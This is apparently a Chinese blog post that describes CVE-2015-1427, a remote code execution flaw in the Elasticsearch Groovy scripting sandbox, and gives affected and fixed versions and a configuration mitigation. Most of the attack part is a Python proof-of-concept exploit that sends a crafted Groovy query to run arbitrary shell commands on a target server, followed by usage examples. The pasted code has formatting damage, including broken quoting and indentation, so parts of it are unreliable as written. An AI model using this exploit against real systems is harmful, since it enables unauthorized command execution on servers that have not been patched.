• ElasticSearch Groovy远程代码执行漏洞(CVE-2015-1427)POC


    ElasticSearch是一个JAVA开发的搜索分析引擎.

    2014年爆出的(CVE-2014-3120),由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。

    这次轮到的Groovy,影响版本是Elasticsearch 1.3.0-1.3.71.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。

    这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令。
      已修复的版本是Elasticsearch 1.3.8 和 1.4.3,建议用户更新到最新版本。

    当然如果你不想升级版本也可以通过修改elasticseach.yml的 script.groovy.sandbox.enabled 为 false就行了。

    Python写的POC

     1 #!/usr/bin/env python
     2 #-*-coding:utf-8-*-
     3 import urllib
     4 import urllib2
     5 import json
     6 import sys
     7 def execute(url,command):
     8 parameters = {
     9                 "size":1,
    10                 "script_fields":
    11                 {"iswin":
    12                         {
    13                             "script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).
    ewInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("%s").getInputStream())).readLines()" % command,
    14                             "lang": "groovy"
    15                         }
    16                 }
    17             }
    18 data = json.dumps(parameters)
    19 try:
    20     request=urllib2.Request(url+"_search?pretty",data)
    21     request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36')
    22     response=urllib2.urlopen(request)
    23     result = json.loads(response.read())["hits"]["hits"][0]["fields"]["iswin"][0]
    24 for i in result:
    25     print i
    26 except Exception, e:
    27     print e
    28 if __name__ == '__main__':
    29     if len(sys.argv) != 3:
    30         print "usage %s url command" % sys.argv[0]
    31     else:
    32         execute(sys.argv[1],sys.argv[2])
    View Code

    用法:

    1. python Elasticsearch.py target ifconfig
    2. python Elasticsearch.py target 'uname -a'

     

  • 相关阅读:
    面试-23种设计模式
    面试-类和对象的区别
    面试-链表和数组的区别
    Python强制抛出自定义异常
    Python中模拟C# Linq的一些操作
    python随机数seed用法
    Python目录常用操作
    Unity编辑器下获取动画的根运动状态并修改
    python字符串操作,以及对应的C#实现
    测试-一个unity的编译bug,初始化器
  • 原文地址:https://www.cnblogs.com/sxmcACM/p/4435842.html
Copyright © 2020-2023  润新知